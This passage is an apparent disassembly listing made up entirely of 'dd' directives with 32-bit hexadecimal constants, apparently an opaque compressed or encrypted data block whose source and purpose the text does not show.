0AF689C8Fh, 668152B7h, 0FFD2F247h, 0A86BAD75h dd 1D6AB23Dh, 1C23BCEBh, 89CA5801h, 0A7D01DC2h, 36E329DAh dd 0CDF851B7h, 2DD3A074h, 49245173h, 64124E5Eh, 0D0972B66h dd 0EB0B2F7Eh, 7D6A0EF3h, 0D8CE19A3h, 0A3D1B60Fh, 95A6B12Dh dd 0B6DCED2Dh, 82C99839h, 19FCCE25h, 32E66CD7h, 62ED199Ch dd 2D82E55Fh, 0F0BA174h, 0A07E793h, 3682DD2Dh, 9AF9BA57h dd 361EBCA2h, 92517E5Eh, 4A798B68h, 0BA6B92C4h, 0D1D78929h dd 40C88239h, 0F033B315h, 0C768A5DAh, 58978B81h, 0DD81A386h dd 0AA5FBB4Bh, 884862EBh, 7266BBC9h, 93FE3122h, 878ED8D1h dd 0E914D143h, 6B891923h, 0A4E30646h, 0C6488B6h, 1082C36Ah dd 3454D0C2h, 131D1846h, 249CD396h, 65830270h, 148C578h dd 90982169h, 4DE12A95h, 0EB80A517h, 3C0C46A0h, 11841036h dd 1F1116D9h, 85405056h, 654CB5C6h, 194B64E2h, 18C4E2DAh dd 1BB9C76Eh, 0FC829170h, 0C7812EBFh, 724E543Bh, 9B35BB37h dd 0B2B651DFh, 0B4D663E8h, 0ED1DA3A0h, 0E03A46A4h, 3997C89Ah dd 0C1A6D377h, 0DAB0334Ah, 3B55BFEDh, 8660372Dh, 0ADD1B2E3h dd 0AC3CE077h, 0CE874D69h, 10C32725h, 0DA3F7CD6h, 0B3363708h dd 61C58DB2h, 0A74206B5h, 905D08CCh, 4D272397h, 0A9552945h dd 0D2940580h, 69380F75h, 4AA62A94h, 0CE087444h, 46189C78h dd 554AC8AAh, 0F1CEB14Ah, 7A93A2B9h, 2A2C5F98h, 0A36FC51Ah dd 294EF7C9h, 0DA2D6FDDh, 0E08DD847h, 0C6BCF913h, 27E8F6EEh dd 0D1E3DAD5h, 5DC8AD3Ch, 1B64FEE3h, 2250B088h, 44AD2BA1h dd 0F218CD08h, 0A4690D20h, 804D0C24h, 2D9C9BB0h, 64EF6837h dd 0C0A82702h, 301AB756h, 4AB00E80h, 0C5A46C09h, 200242ECh dd 5E6CAD37h, 41B64392h, 0D92B514Ah, 0FEF648F4h, 7A18CE92h dd 2BB5985Fh, 6BDC5D69h, 983C82BBh, 5D293C35h, 0C296B9DEh dd 6EF0CE17h, 81C9CFDAh, 1DC1557Eh, 5F19CEBh, 69ABF642h dd 83421678h, 0E0ABE1C4h, 8D7E4F08h, 3DAF8E6Dh, 0E3C70CE7h dd 0B0B98F2Eh, 917D2092h, 50103C6Fh, 7E750280h, 64DAF293h dd 167EB871h, 6E2DC579h, 72331403h, 192B268Ah, 48CF22BCh dd 0C5FB681Fh, 0D4747D20h, 0B8229B9Bh, 6F903FD2h, 0EE112B80h dd 0B379761Ah, 55CDFE08h, 9011CFD1h, 0BD1E6DFDh, 0E93A80B9h dd 2207816h, 131E6024h, 0F095423Ch, 0C445BAC1h, 0DA9BD58Bh dd 298B1FF5h, 18B489C6h, 5DCAA0BBh, 70D74FE9h, 0D0C5FE8Dh dd 0C45C8D3h, 4500F0FEh, 0AC349DE4h, 4B0184Dh, 3B49B9B3h dd 30DD1B3Ch, 0C06C0640h, 85B51B4h, 55FFDE2Ch, 14BCC611h dd 93C5C80Fh, 5DC81C4h, 0C629CF60h, 915AF1E9h, 8DA65AC8h dd 1E79E91Eh, 8D1DC0BBh, 0B5B09DB0h, 4679EB9Eh, 0ECDEF9ECh dd 0D5EFCAF5h, 601C725Eh, 0F31EE465h, 5DEC1C2Ch, 0E1541B8Bh dd 68477215h, 0B17F5EA0h, 1F3DEB9Dh, 0F316B5F4h, 6DF659D9h dd 0DF71EEDCh, 1D810DF3h, 8D9FE1B2h, 1407661h, 9B56DC19h dd 3C651135h, 5F81CBD9h, 0D4DA09F2h, 51A1D088h, 0C0A9799Ah dd 0D148C8D0h, 0E08B9E80h, 4C04C008h, 2625541h, 1E8DFA5h dd 8A0C5F09h, 0FF508061h, 0C2249260h, 94162588h, 1BDE6C5Dh dd 0D1508FCh, 0C0B84694h, 288FCE14h, 6DE6885Dh, 90C9B69Eh dd 475E9C46h, 1176DAC8h, 62D5079Dh, 0F58BB22Dh, 90BB6138h dd 4780B8C6h, 0B180B871h, 241E5DEDh, 553E0B1Bh, 0FE5E0D54h dd 5620C955h, 78109049h, 42281F08h, 7FA35C42h, 1041041Ch dd 87A531D5h, 40C22026h dd 30240410h, 0C8384142h, 2A236C7Dh, 192D530Dh, 638884D5h dd 81C835B9h, 123887B4h, 0C2404095h, 50485237h, 71669679h dd 4F4496CDh, 0C2E159EFh, 0C21DC05h, 651EDD7h, 1F5370B7h dd 961921BEh, 5CC1DE1h, 45CF581Bh, 0F9F18618h, 6451C7D9h dd 0C2E42DC7h, 0CE1E1C6Dh, 8125F496h, 9AD9FE45h, 0BA1F1C29h dd 8B116241h, 0F3D9C1F2h, 0C40D86D8h, 4D25E900h, 2D4C75ACh dd 0A8CD5A62h, 1D04C795h, 0E8D755A5h, 0E0CAC8A9h, 122607CAh dd 204BE909h, 0F0D5E4D9h, 0CB5D18Bh, 269171B0h, 8897092Dh dd 4155DC92h, 4CDE722Ch, 0DA118AE2h, 5A898B5Bh, 0BDE4BD72h dd 6A1A5AF5h, 0D8209265h, 68231208h, 2434A31Dh, 17810A3h dd 1AA0B401h, 649CE0C1h, 8075B480h, 1280765Bh, 5102D3F8h dd 6905F10h, 99FE1468h, 0AC53C5ADh, 2177CCE9h, 416C5D90h dd 0FB8F45B8h, 0F046DE78h, 0D58BF25h, 271E98BCh, 0BDBE9F11h dd 0CF056954h, 15E4023Fh, 0DA40D36Ah, 4650ABDEh, 16076011h dd 0C5C299D2h, 615A18DEh, 5CC6B4AFh, 70BADAECh, 46BC5C52h dd 739CC245h, 3473E184h, 5F3A1C9Fh, 1D86C1CBh, 0D61E1F6Eh dd 6AC1B86h, 32875E18h, 612E1359h, 0D308F293h, 6592DD2Eh dd 5A6FD335h, 23715182h, 3D23D932h, 0E36DB96h, 88348244h dd 74273C23h, 2882A74Eh, 2363688h, 2B52D92Ah, 3882E385h dd 0E77C2542h, 78442674h, 9239C7FEh, 2212A23h, 2952A276h dd 28236381h, 87DC4120h, 39274678h, 2A764242h, 0A3B52A4Fh dd 74E75A38h, 1C4123CAh, 23BA3D53h, 24280680h, 5C1E1294h dd 41447881h, 21018CB2h, 8C0EDDECh, 25A25994h, 4ECDC43Ah dd 25B233Ch, 128C285h, 94D1F10Ah, 4DD61A40h, 40B9F78Fh dd 57A0FE15h, 231B68C4h, 794A9451h, 988C1AC4h, 0C4065646h dd 0D8961DC1h, 88C1D405h, 5EE4EE26h, 214A0465h, 14E5DC4Dh dd 0C65BF893h, 64B6D375h, 8F7D62C1h, 0AF81B865h, 1C2D638h dd 46FC7687h, 140B75C0h, 1E302275h, 8F485C89h, 944FE694h dd 4C6981A6h, 19D9C799h, 6E8F88B5h, 28AD4AC5h, 0DCA41147h dd 6626C410h, 501B8190h, 1421ED6h, 654F08B5h, 0A1C1964Ch dd 9CB1700Fh, 738B786Fh, 0B2951640h, 877A94CAh, 814488B1h dd 69088CB5h, 93C9A69Ah, 0CC17948Ch, 80658FB4h, 1ADD5F46h dd 269A308Eh, 0C5A6EA0Ah, 0DD7CC00Bh, 680D9515h, 6A5E9139h dd 0D025590h, 98A60090h, 0C6D5F74h, 62E1E9A6h, 26017DCEh dd 250E0D26h, 8D21F12Ah, 4E460D07h, 2844CD91h, 0C31434A8h dd 1480E80Eh, 3E59C0E4h, 0C4E28495h, 56004A5Ah, 5124A0D5h dd 0BE50050h, 0AC8D915Ch, 39F4A1D8h, 8BC8BED1h, 5775B6FEh dd 0D3491172h, 561DE984h, 0CFFE19C6h, 8C4C498Eh, 0B226C8C6h dd 0E4B2B51Dh, 0D09414BBh, 68D24D08h, 0C77A3F54h, 1DD6A879h dd 152DC788h, 0D6C53A5Ch, 0F959C8EFh, 6CF94F30h, 0D3729A0Fh dd 6ED17E8Fh, 14920BB0h, 0A9459897h, 0B981E0AEh, 49F75626h dd 4668F0CBh, 975A0641h, 0C9CC249Eh, 6BF86799h, 6799F9EDh dd 0E46656BCh, 8B7A179Eh, 1B99F065h, 806FCB32h, 0DC559BDCh dd 9EC67872h, 588D068Ah, 0AA01D4E5h, 0AD5775A6h, 0ADC80F65h dd 9A6E2424h, 896C8A88h, 5E86D152h, 8FD1114Dh, 8211368Ah dd 65279722h, 0D620045h, 8AA8A491h, 0ECB259DEh, 0A0649158h dd 755A3C8Ah, 0B85B6521h, 9C45BD8Fh, 27182197h, 1AAB80F1h dd 0C39A82E3h, 0ADEAD6ACh, 0D03BCDBEh, 40EC0A04h, 1D11B80Eh dd 680F40F5h, 148C0880h, 79D150BEh, 0A5115FCDh, 0E6CEB40Bh dd 8A00DA98h, 0C9BCE10Ch, 0FE85B85Bh, 4141F5E9h, 119169CAh dd 8E8C1FEEh, 0D2808AD7h, 20C99493h, 0C886653Ch, 129C4101h dd 15C15D2Ah, 5D3227D8h, 13413402h, 2B930D2Fh, 4D32E701h dd 6E35352Eh, 2B12A12Fh, 9D2A5341h, 0EE5939D3h, 6F67066Eh dd 552F2E3Ah, 12CD2E6Eh, 35D2FE6Fh, 0F1381345h, 15D2D92h dd 7A539E3Bh, 396A9700h, 1C36911Fh, 21C70137h, 0BDF65F30h dd 6C24821h, 5DEC11F3h, 217B4D42h, 0A9F9FF21h, 265A65A5h dd 8DF71985h, 2244D4A6h, 0CBA12973h, 0C08FD8A6h, 0EDAEDA95h dd 0BF2CDE98h, 697DC130h, 660D31Ah, 54EB4ADBh, 5D064CBEh dd 0A4ECC5ABh, 0AA4D9969h, 391768E2h, 0E0281389h, 0D4C23D38h dd 2C1044A6h, 0EAE58463h, 0D185A33h, 1248086h, 1A58C44Dh dd 0F7EB14D3h, 16500E96h, 0EF745DAFh, 1DADD410h, 0B6938B02h dd 949A88Bh, 0FFE8D2B0h, 7CC68454h, 30540940h, 8FF05557h dd 7C1540A8h, 52FE4416h, 0AB9E8A44h, 0F34B7878h, 40B78F34h dd 5F78F956h, 70699DC5h, 0F6BF294Ch, 8B7EC32Bh, 938F1478h dd 0C1D64D92h, 0A134F159h, 0FAC44E54h, 0D0ACEBC8h, 1DB811C0h dd 732ECABFh, 88681C70h, 0D5FEA50Bh, 10016DD2h, 0CFDEB3Ch dd 6AA6DF1h, 0EEE6AE42h, 0D0752186h, 2F7A6CD9h, 0DD7166DBh dd 36A1DC72h, 62430C8Dh, 0FD6CBAF1h, 42A15FF5h, 498DF886h dd 0D5940CC7h, 34992B0Ch, 0A88D8BE5h, 8AADA579h, 8C117166h dd 0DBAEB29Fh, 0A89BC495h, 0BA8A6601h, 0EDDADD41h, 6CB1AA7h dd 4807D066h, 6D24CB97h, 0D32A5294h, 69811E9Eh, 30F80C52h dd 0DAEAC010h, 41DFC128h, 0D54CDC68h, 4C04A33h, 7956806Ch dd 9D910105h, 0FD1FE5CFh, 0E9AB10Ch, 50B81647h, 16539D9h dd 69CF9E65h, 0C1654BDBh, 76ADD46Fh, 76C78114h, 0AF3A0549h dd 0E94E72D9h, 0F4C0579Dh, 0B1AD2453h, 0B29DB980h, 681B8B08h dd 1DC3FE66h, 46B59516h, 0ACAC2011h, 1DEC218Ch, 0C73E96A9h dd 1DD639EFh, 70F19690h, 162C1ACDh, 0CE6A2221h, 654BE070h dd 0DC599DA9h, 93644B0Fh, 7EBC4FD5h, 0C67315E6h, 0C4E9299h dd 931F1CFCh, 9EFC6FE9h, 0F39EC936h, 0D870010Dh, 615A9233h dd 0DB33EF16h, 39F6DF5Eh, 87262B19h, 0E468DAD2h, 669FEF15h dd 0D6CC6DAh, 0DD9DE66h, 0ACCED5CBh, 907D27C8h, 912F1459h dd 0B31CCD90h, 0CD4F1D6Dh, 0E49FF205h, 0D8144459h, 0EA7F0221h dd 1A5170BAh, 64BCECB3h, 0A934A644h, 8F8D2304h, 523EEB51h dd 0A31B0FABh, 0B2E0A9DEh, 0D68451A5h, 0D85684C4h, 0C35B4F26h dd 31CF40F8h, 0D4809001h, 0AB117AB2h, 60455C0Ch, 148011AAh dd 57C8881Fh, 0AC07CBE4h, 1CB62B0Ch, 5FC45EF8h, 250648D5h dd 0E2322334h, 414D0AB7h, 550D0095h, 41280540h, 4400B186h dd 0D8452690h, 0A6471646h, 700741EFh, 0CF0A3150h, 39CA46FEh dd 3020B5F3h, 0C2E1DB3Fh, 0E5ED9929h, 810E2106h, 0F3471647h dd 0D1DD20EAh, 0B535B2Eh, 6970FCB0h, 2EBBE419h, 0B3DB3F9Ch dd 9911386Ch, 0D01B5014h, 0B3C5C74Fh, 0ECA6DE99h, 0C46AB141h dd 0DEFB65B3h, 3F1CA21Bh, 271F9EEFh, 0B1172D29h, 0B95A5EBh dd 0CF1E600Dh, 0B1B8439Bh, 0D186276Ah, 0B0BA4A0Dh, 1C40D396h dd 8C08B509h, 0B9BB98DDh, 95DFB9Bh, 39893811h, 0CF29E1BFh dd 9CF895DBh, 0BAF2B423h, 4E8A41B5h, 0A425F5CBh, 988680B9h dd 0A58EDB0Ch, 0B21D3CB1h, 0B9171493h, 77741BE0h, 0A4F1FE49h dd 11D13093h, 0CC16C100h, 81501A34h, 179E01B2h, 655574DCh dd 586326F2h, 88888C0Ah, 50948238h, 98D083C2h, 92CFC728h dd 0C85D4D94h, 23D22D0h, 1D825080h, 481F01D8h, 0B2BD1109h dd 300D98F4h, 0B71EB1BEh, 0CC6C9080h, 414D0C07h, 840BF2F5h dd 81841840h, 23CBE010h, 0FE44EF9Eh, 4B5C4B08h, 360F5AE6h dd 6A247875h, 0C6159C26h, 0A1C970E1h, 20664475h, 0E9F786A4h dd 4AC6900Fh, 29EDDE1Dh dd 0CF4F847Fh, 81100B5Fh, 339C7013h, 1470E6B7h, 0D9319336h dd 4261C8ABh, 7CB0ADD6h, 2D25BBB1h, 42299699h, 69C7768Ah dd 75AB64E4h, 16019076h, 0B5BE1DFh, 0E444E917h, 0CE1ADD8Fh dd 7C8CA9FDh, 2FF66150h, 5D8CA88Eh, 813B593Eh, 0B187976Ch dd 10CBBDCFh, 28FE8D6Eh, 542751D6h, 25088F52h, 13DC88Ch dd 0F47EFFD4h, 488FBADDh, 9D12045Ch, 9B070154h, 93DF0CF5h dd 0E9900156h, 0D9301446h, 0A420016h, 0D012B78Eh, 6FD89BAFh dd 0C1B7ADB4h, 537FC108h, 0F98AC2h, 0BCEB2E79h, 30A11BBDh dd 0CC4EC22h, 7F88077Fh, 0D41F3803h, 0D5A11157h, 0C4AB51A9h dd 0A5076615h, 490807F1h, 838BC383h, 1B2F5A27h, 0AD8C088Ch dd 794BF85h, 0F444C11Eh, 0CB078F78h, 744748FDh, 88FEE1F0h dd 0BA18E927h, 247698C1h, 0B5DC27B2h, 5794FB10h, 0DC9E18C6h dd 6C0205ECh, 8B43409h, 0ADB78BCBh, 94A8C0D4h, 6B8DEA14h dd 6188750Fh, 6CF8F913h, 0D218267Ch, 13A86D99h, 0FE047469h dd 37458139h, 5C738E33h, 3746B38Ah, 0EC757149h, 4B53682Eh dd 6A249466h, 0ED09662h, 749A535Bh, 6E76AE51h, 0BF6BA04Fh dd 601F0D36h, 47926C93h, 0ABC136ACh, 0C7EC1332h, 35C94A35h dd 25478132h, 40F160A5h, 0CBC0DA8Ah, 701BCCBCh, 77FC8008h dd 112CCB80h, 0D59A8930h, 897F208Ah, 233C3656h, 0DBCB1BE3h dd 4860155Bh, 0D9471C44h, 8D930124h, 439BA201h, 0A2C1080Eh dd 0D89BF79Bh, 0C9CFCF84h, 8AD8404h, 801080C0h, 0C2501F81h dd 0C760380Ah, 0DE7C4873h, 0C7B42547h, 23680E7Ch, 0EC7A820Ch dd 887C2287h, 87825080h, 4824E790h, 6E62E17Dh, 42C7B238h dd 8BD74238h, 0E0314FE3h, 0C6C8A895h, 5B17FE2Ch, 4CC18C05h dd 17638578h, 93198F51h, 0B361BAEDh, 74AECB8h, 91F67387h dd 73671F57h, 4747B5B1h, 0EE5C9A1Fh, 97186DEh, 8667DF57h dd 8D0D3B3Fh, 0F0A0DD10h, 0F5B76540h, 0AD8712EEh, 0A6661F18h dd 0E91E9241h, 17D93FB4h, 980AFBA9h, 9D676F48h, 1A4661C5h dd 48AF0260h, 0DC7AC307h, 6C0B4D95h, 646FD64Dh, 709DEF4Bh dd 64472CB5h, 0A4FBF955h, 0CBB4FCCBh, 2A34908Ah, 0D108974Ah dd 64B3A6B7h, 5F189C56h, 3A01B80Eh, 0B9E7A159h, 5072EF04h dd 0FC0AF1AEh, 0C7F81DB7h, 7FFC7650h, 0D018DFB4h, 5DC15C58h dd 0A7C18C8Dh, 0F77FFD67h, 94D7A8C1h, 68C98843h, 78A12082h dd 507AF359h, 8D9E96A2h, 7CCACCBAh, 7A6C1016h, 0D2FC2D17h dd 441000B5h, 13B41241h, 14D93231h, 0EE0A40ECh, 10A44000h dd 10066A2h, 789E4F2Fh, 0C22EF751h, 210F0602h, 81B09832h dd 210E89E2h, 0F160A630h, 0C6CBE5FEh, 7E342915h, 4583E1F1h dd 502D9149h, 40950AAh, 1F2A8C48h, 0E9014858h, 160AC563h dd 0F07CDE3Eh, 90C6461h, 4DA5595h, 8B62A955h, 8C631511h dd 14B94524h, 1F235269h, 30F89290h, 92D4EA95h, 10BC5E2Ch dd 0A474422h, 0F0622D1Fh, 0AC8361E0h, 0D02E358Dh, 86B175A6h dd 782C966Dh, 0AB8DC52Ch, 0BA5D6E87h, 0C1E90E87h, 5B8D287Bh dd 470051BFh, 0F0983349h, 8A6E43E0h, 2773BE10h, 75C4E0CBh dd 6439A6F7h, 0B50D8F09h, 0B166C96Ah, 146DC341h, 0F0785B7h dd 0CA245219h, 8C2A189Ah, 92891C8Ch, 92D01108h, 5B3E6B41h dd 22E17336h, 71E9026Eh, 667006E3h, 0B74C59BFh, 0CBE3E169h dd 0D8831698h, 5783BF00h, 0CF4DA5AEh, 0D4DF47A1h, 0B8753A9Ch dd 0BF539FCDh, 23511DB4h, 5D1BDDEFh, 5269046Ah, 268F49F9h dd 0FEAF5239h, 0EEF72511h, 0AF9233D5h, 4D7D7E89h, 924121F2h dd 0FE7D68CFh, 0B7D54BFEh, 0FB3B6E7Bh, 0BDE473EEh, 903BDA47h dd 2898F50Fh, 0D64A40C4h, 0F591E4ABh, 3F24611Ch, 64991A48h dd 891A4190h, 0FC3F3CE3h, 3B0FC430h, 4483B128h, 6474104Ah dd 0E110EF92h, 60EF3C4Eh, 23C30C4h, 0BCD0BBEBh, 6FCBE2F4h dd 41210B92h, 0D8F34744h, 4990A47Bh, 33C358D8h, 2708836h dd 0B8C623B0h, 76691A41h, 83208810h, 21885210h, 20622287h dd 0A4B80983h, 428B0368h, 8D85E290h, 882212AEh, 0D524A20h dd 303E1624h, 0DA152962h, 0E1CE4188h, 2689A8F8h, 81507D3Bh dd 20B61204h, 5C1505A1h, 0A94FAA1Ah, 0CDCAA2AAh, 0EA729A16h dd 1D0AA78Dh, 40162AE9h, 928428C2h, 881683Eh, 0CB3D3036h dd 0A3693905h, 0FCDF05CDh, 0B95443C2h, 334D7AF0h, 0C1B0681Ah dd 0A0A21B2Dh, 1AC233C1h, 0CFB06D7Bh, 306BAB08h, 62CD4551h dd 0E5374D2Dh, 3ADFD574h, 6188AB2Dh, 0A5C1E0B3h, 40FE98A5h dd 0FB4B8AA9h, 0CB362DFAh, 63392D0h, 1E06CB4h, 1B76D00Fh dd 0B6CF88B6h, 0E105D55Dh, 0C631A46h, 0E23AD2A0h, 1ADEDE88h dd 4F5C5715h, 0CE33354Dh, 0AD023B02h, 0F66B02B3h, 557ACD37h dd 5417080Bh, 2E8BAA92h, 27431A9Ch, 429052E2h, 6ABEAF26h dd 794C48A3h, 38E1C270h, 8DA16888h, 0E940AA2Ah, 98AA168Dh dd 3EB30D76h, 0B45A6B35h, 63618A82h, 8E1862B2h, 58F88E23h dd 0C57F8BF3h, 158DE16Dh, 7C37B56h, 0C9189826h, 4CE0A1CDh dd 20230DABh, 14A688D5h, 8C736CECh, 5380B62Dh, 4A8389CEh dd 0DA20695Ah, 8D5F18D8h, 3ED434Dh, 0FAA8F891h, 9280E30Dh dd 2965DA56h, 380C7656h, 0DE4200DBh, 22608818h, 79002EADh dd 6290772h, 84A0E82Ah, 160A216h, 20E0392Ch, 0E8240CA2h dd 94138352h, 8385F830h, 0CCC3084Fh, 22120583h, 90DE2F85h dd 93C40579h, 1D056265h, 53132B8h, 0B44CFE1Dh, 79715C43h dd 0FE6A942h, 0F3C128BAh, 0F31AB347h, 2F48D526h, 4FD3F429h dd 0D1525497h, 4F59C66Fh, 0A9FF5C9Fh, 0A76838B5h, 6338863Dh dd 0B10D94C0h, 0DA0B1778h, 6B3ACD79h, 1333DF63h, 0C3E3EB4Bh dd 0DD0795C2h, 762D3D31h, 13957A95h, 67981753h, 0A3542CA3h dd 36A50155h, 0DA9529Dh, 0AB66361Eh, 70D9DEDAh, 94A18801h dd 0DF777696h, 2D35E2C8h, 1CE6A569h, 627C2360h, 55EC2589h dd 5110EE5Dh, 0D776111h, 16C08E1Ah, 6816417h, 144D1045h dd 153E708Eh, 8955C100h, 0CE0D8CD1h, 155EBE25h, 21445F49h dd 973253C1h, 0A0A5979Ah, 4293060Fh, 82D2BC08h, 0D7020B5h dd 2682B970h, 3F872120h, 2864A6B5h, 84A7D389h, 74369B27h dd 105B080Ch, 0C0A268DBh, 0C98C982Fh, 831A6426h, 6D04809h dd 2A1069EDh, 6A416A95h, 0A1A7024Eh, 2506C5ACh, 6C1F01F3h dd 0B59B2776h, 0CAE24F80h, 86B1D8FEh, 0D9A492C2h, 2AC30D6Fh dd 0B32C664Dh, 0A0BC2FB3h, 0C3E07672h, 3BF5F6D5h, 790B18B4h dd 0E38A1C59h, 12040048h, 0E60D00BCh, 84DAC760h, 50020580h dd 0A0EF6E09h, 90721780h, 1781C03h, 24305807h, 3D07616h dd 0CE06A45h, 680983Dh, 0D38122Ah, 1D4BC0F4h, 18108138h dd 6C0E84A9h, 0B81B92D2h, 70521048h, 40681381h, 64D29209h dd 81D08208h, 60A55CACh, 26E0F83Ah, 3084A095h, 1894B298h dd 0CA88D101h, 0EC1D2268h, 0CCBC9792h, 83DC89E5h, 0A2152120h dd 41A1B10h, 87C0FD31h, 97F2F65Eh, 8F2624C4h, 389F99A0h dd 719A131Ch, 0D67E6688h, 0F047CC23h, 0C2159B41h, 346E790Fh dd 8E259A08h, 0C4286F9Ch, 2319D135h, 3D4850F2h, 8DA74A37h dd 429E699Ch, 720E21C8h, 6A214390h, 92634D37h, 408599D3h dd 4114D550h, 823E6E4Eh, 44185509h, 3B980450h, 0F01A4B8h dd 0FE5FE888h, 16C48AFFh, 0B2F81DCh, 1B435980h, 0F285572Eh dd 6C7AAF2Dh, 0C620D850h, 28468715h, 0D82D626Dh, 32A05202h dd 0C47C9186h, 81815B83h dd 84C0560Eh, 31ABC418h, 1101E078h, 0DCAE20AAh, 7162A6B5h dd 54A61F5Ah, 0A9228365h, 2C3605CAh, 56CA7020h, 48803EB5h dd 0DAAA2608h, 35571319h, 71818EA7h, 1483F02Bh, 260638CEh dd 880DE18Ch, 0ACD9442Bh, 503F042Ah, 75580F82h, 65C6D5EAh dd 0ED902245h, 0DDC3604Fh, 0C5EA10B7h, 3485B835h, 482AA44Dh dd 0C4329052h, 0C0806119h, 209C9DC9h, 518A0726h, 4389B04Ch dd 0F44E229Ch, 0A1F50D86h, 4268EB8Eh, 0C7B20610h, 21A959B7h dd 4452CA58h, 0CD599024h, 9003404Ah, 3644D2F4h, 6409A5C0h dd 0E9144BD6h, 202E97ECh, 0C0CC114Ah, 813C9622h, 91403B27h dd 22C4608Bh, 26EDB027h, 0DB5B64BDh, 0B3B6F246h, 5B2888C5h dd 740AC9CBh, 0E02102A0h, 5EFE574Ah, 0B1D10410h, 0F02F04A0h dd 5B9F73DCh, 56BAD2DAh, 0AE6DB6B7h, 948A52E7h, 4F64A094h dd 778A95DDh, 0AF94850Fh, 592B0475h, 46E9EE19h, 61A203E7h dd 0F8266050h, 22AF7400h, 0E4A196B4h, 1D8AE272h, 14E5197Dh dd 28A119FAh, 7760BDDEh, 0E782429Fh, 25BA0556h, 4C098A98h dd 41D3DCF0h, 0A8212B37h, 54F60940h, 0E0FABC02h, 8963AF03h dd 9C0392F7h, 2D0F8168h, 9FE2A40Ah, 0A9DDD258h, 2A4FA4A0h dd 6EC2239h, 92E701F5h, 2DDD0AA0h, 32A776DAh, 0A13016B3h dd 65282160h, 6704E18h, 0BE10811h, 0BC8B5C0Bh, 9C86C53Eh dd 564FCD4Eh, 7054D361h, 0A9393D46h, 9436C3A0h, 0F876F697h dd 56B81082h, 0A4D01D08h, 36C95526h, 5E08421h, 149CF609h dd 3052962h, 4A0837BFh, 5607D318h, 2AE00210h, 0D6522317h dd 329F7308h, 0AA216492h, 1A556E68h, 1982C993h, 2600A8CBh dd 9B092269h, 2FB0FE5Ah, 286F981Ah, 4DD8182Dh, 2982CD10h dd 3004F26Fh, 4B730180h, 981C01D0h, 861B1C3h, 0BB2694C3h dd 6DCECA90h, 700E01h, 18D39A7h, 4B496B51h, 580B019h, 0CC81AB38h dd 0F032066h, 34969B99h, 0CECE816Bh, 0B6A7035Ah, 6D5805B5h dd 9ACB536Ah, 6D35A7D6h, 812B3767h, 4567752h, 5C18022h dd 59EBD2B6h, 4292F6E7h, 2099C0B8h, 6E4E65BBh, 0C6D502B2h dd 2D97696Dh, 645EE9DDh, 9C4BA44Dh, 28F04A0Fh, 7477A771h dd 6D02095Dh, 0A0119BABh, 0C4748CC1h, 51797709h, 0B6F4EE37h dd 0BDCCB9FBh, 0FB9F814Ah, 5B8F7967h, 0D33A92CAh, 60DDE4A4h dd 23055F80h, 0BDCF4AAh, 98017B52h, 384F7882h, 0B4D75393h dd 0A8A91437h, 0D81FBDE6h, 5666A313h, 5614733h, 0D31DCD68h dd 0A95B880Bh, 4F614CA9h, 4C5CE447h, 0AD935240h, 0E7094184h dd 85B10116h, 32626C0h, 792AA0E1h, 0F0F80B2Fh, 9C982FEh dd 1C9AD2C1h, 188C48D3h, 0CC5437E3h, 0F45736C0h, 4BB2BB6Ch dd 0E5B99490h, 7308FBA2h, 0D7821957h, 0E1CCC06Eh, 4418010Eh dd 85498270h, 9017D1D2h, 8CB01094h, 0E4FADCAh, 0F8B05F94h dd 0A7F296A1h, 0ADAD6990h, 108983E7h, 3EB3005Eh, 2E27D81Bh dd 52F6D888h, 4B7F9253h, 0D82204EAh, 30678E80h, 406E5803h dd 82D6940Bh, 255D31A5h, 1A0374Dh, 3C0769Eh, 0C978EF20h dd 0BF1DE4Fh, 1E07B510h, 4406F8CFh, 0F69EF180h, 0E017A800h dd 0C083D101h, 5FA401h, 0FA8D3DE9h, 0D4407BD2h, 0AB75B6B9h dd 88EAF019h, 0AC031E58h, 21677546h, 0E75C8100h, 3ECBB37Ah dd 0D9209783h, 606F6D25h, 75DFC5F7h, 48C4B9B0h, 8415018h dd 56CADEC6h, 0EAECC22Ch, 59B6DF4Eh, 53AAB5FFh, 0C34725FDh dd 0B4B12300h, 0DF877074h, 8B4B77h, 0AD4FD4C7h, 0F090C36Eh dd 0FBB6A413h, 0F50254B1h, 0FE7C3FE1h, 0B5BFCBF9h, 6C2D0DADh dd 1D816037h, 170660DCh, 0EB80AE60h, 2E74CFEDh, 2342B205h dd 202404C6h, 4DEAD167h, 74B52CAh, 34B62EBCh, 2EA4D8A0h dd 0CE024FAh, 0EADDE052h, 6B628C6Dh, 702EB291h, 6ACA422Ch dd 6044D4CDh, 80C2A52h, 0C673EEE8h, 0E044D8A4h, 91406E0Ch dd 0B2DA807Ah, 6240DC22h, 23024A93h, 0B002A24Ah, 404293CFh dd 944CD407h, 2E4B8228h, 602E5202h, 3492CDAh, 600320ACh dd 2D6A952Bh, 0D8AB5302h, 7EB75022h, 6B3A036Dh, 0EFA084CBh dd 0C64D004Eh, 0C9029CCh, 0C2875C50h, 2C260E2Ch, 0E02A0949h dd 62E402Ah, 900E275h, 0ABA82B30h, 24EFC03h, 72F6C07Ah dd 4018B44Fh, 1E61D606h, 0B8D2C104h, 0A0060h, 6010C0Bh dd 0C61D6050h, 602806A1h, 10B10910h, 100CB10Bh, 71151131h dd 11711911h, 2111E123h, 71251231h, 11B12112h, 910C0CBh dd 71340651h, 11FE3513h, 13F13C04h, 0B5141141h, 0A0500B40h dd 0F4405114h, 51153150h, 9158F351h, 6513915h, 9B14B140h dd 0B1691660h, 0BC05009h, 0BD153154h, 71791760h, 17314B17h dd 85183181h, 0A9031831h, 18F18D18h, 95186903h, 0B1991971h dd 2003119h, 7AD6E076h, 2076D680h, 0B0D4F1Ah, 72070070h dd 2903190Fh, 0D44F72F7h, 531931C0h, 6D6D1911h, 76B3A91h dd 709091B0h, 0B1D91AA0h, 1B20771Dh, 22D78021h, 0F05CD670h dd 14D18AD4h, 7090314Bh, 0B1B40300h, 0D6ED6F1Ah, 0C11511B6h dd 319AF2F1h, 1531C117h, 7320B14Fh, 51A71D8Fh, 21EE1203h dd 74754EBDh, 0F1EAB3ABh, 0D951FF1Fh, 0F1B2F70h, 0F14A03D2h dd 10715F13h, 0C606A06Bh, 80501CC1h, 0B410C0Eh, 1800A00Ah dd 410C09E0h, 1EA1CC0Ch, 0E61F21E6h, 0A1E01E61h, 26726326h dd 75273271h, 52792772h, 27E1ED27h, 0DB27F281h, 61E61DA1h dd 61DBFE28h, 28C1D61Dh, 981CD291h, 0D29D2912h, 2A328D29h dd 832821DBh, 0F2AD26B2h, 2B32B12Ah, 0A92B12B5h, 0F2B72812h dd 